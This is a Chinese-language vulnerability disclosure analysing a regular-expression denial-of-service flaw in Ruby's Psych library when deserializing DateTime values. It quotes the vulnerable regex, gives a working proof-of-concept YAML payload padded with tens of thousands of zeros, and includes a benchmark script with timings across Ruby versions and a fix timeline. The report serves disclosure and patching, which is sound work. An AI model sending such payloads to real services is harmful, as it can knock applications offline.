本文详细分析了Ruby Psych库中存在的正则表达式拒绝服务漏洞,涉及DateTime反序列化过程中的正则表达式匹配问题,提供了漏洞复现步骤、性能基准测试结果以及在不同Ruby版本中的影响范围。
Ruby Psych库中的ReDoS漏洞分析
漏洞概述
在Ruby的Psych库中发现了一个正则表达式拒绝服务(ReDoS)漏洞。该漏洞存在于Psych.load方法的DateTime反序列化过程中,当允许DateTime反序列化时可能触发ReDoS攻击。
漏洞位置
lib/psych/scalar_scanner.rb第113行
lib/psych/visitors/to_ruby.rb第83行
漏洞代码分析
1
2
3
4
5
6
7
|
def parse_time string
klass = class_loader.load 'Time'
date, time = *(string.split(/[ tT]/, 2))
(yy, m, dd) = date.match(/^(-?\d{4})-(\d{1,2})-(\d{1,2})/).captures.map { |x| x.to_i }
md = time.match(/(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/)
(hh, mm, ss) = md[1].split(':').map { |x| x.to_i }
us = (md[2] ? Rational("0.#{md[2]}") : 0) * 1000000
|
其中正则表达式/(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/存在漏洞。
漏洞验证
环境信息
1
|
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]
|
漏洞复现步骤
1
2
3
4
5
6
7
8
9
10
11
|
require 'yaml'
require 'date'
YAML.dump(DateTime.now)
# => "--- !ruby/object:DateTime 2022-02-22 06:43:52.577591000 +09:00\n"
YAML.load("--- !ruby/object:DateTime 2022-02-22 07:02:07.096315000 +09:00\n", permitted_classes: [Time, DateTime])
# => #<DateTime: 2022-02-22T07:02:07+09:00 ((2459632j,79327s,96315000n),+32400s,2299161j)>
YAML.load("--- !ruby/object:DateTime 2022-02-22 " + '0' * 50000 + "00:0Z0:0:0", permitted_classes: [Time, DateTime])
# ReDoS触发!
|
性能基准测试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
require 'benchmark'
require 'yaml'
require 'date'
def datetime_parse(length)
text = "--- !ruby/object:DateTime 2022-02-21 " + '0' * length + '00:0Z0:0:0'
YAML.load(text , permitted_classes: [Time, DateTime])
end
Benchmark.bm do |x|
x.report { datetime_parse(100) }
x.report { datetime_parse(1000) }
x.report { datetime_parse(10000) }
x.report { datetime_parse(100000) }
end
|
测试结果
Ruby 3.1.1环境:
1
2
3
4
5
|
user system total real
0.000215 0.000212 0.000427 ( 0.000422)
0.002306 0.000005 0.002311 ( 0.002314)
0.219717 0.000125 0.219842 ( 0.219844)
21.904961 0.041427 21.946388 ( 21.946604)
|
影响范围
- 漏洞影响:当允许DateTime反序列化时会发生ReDoS
- 影响有限,因为攻击字符串永远不会匹配TIME的值(参考
lib/psych/scalar_scanner.rb第50行)
版本兼容性
Ruby 3.2.0
ReDoS问题已修复:
1
2
3
4
5
|
user system total real
0.000461 0.000594 0.001055 ( 0.001286)
0.000154 0.000005 0.000159 ( 0.000159)
0.000864 0.000004 0.000868 ( 0.000878)
0.008076 0.000112 0.008188 ( 0.008203)
|
Ruby 3.3.0
ReDoS问题重新出现:
1
2
3
4
5
|
user system total real
0.000232 0.000202 0.000434 ( 0.000432)
0.001668 0.000001 0.001669 ( 0.001669)
0.159783 0.000738 0.160521 ( 0.160610)
16.068381 0.082545 16.150926 ( 16.178969)
|
修复状态
- 2024年1月11日:确认在master分支中回归问题已解决
- 2025年6月3日:由于Ruby 3.1已结束生命周期(EOL),不再计划发布新版本修复
- 2025年7月8日:漏洞报告已公开披露
相关研究
其他gem中的ReDoS问题研究结果:https://gist.github.com/ooooooo-q/88ad0911c45571389170c41cb403a2f7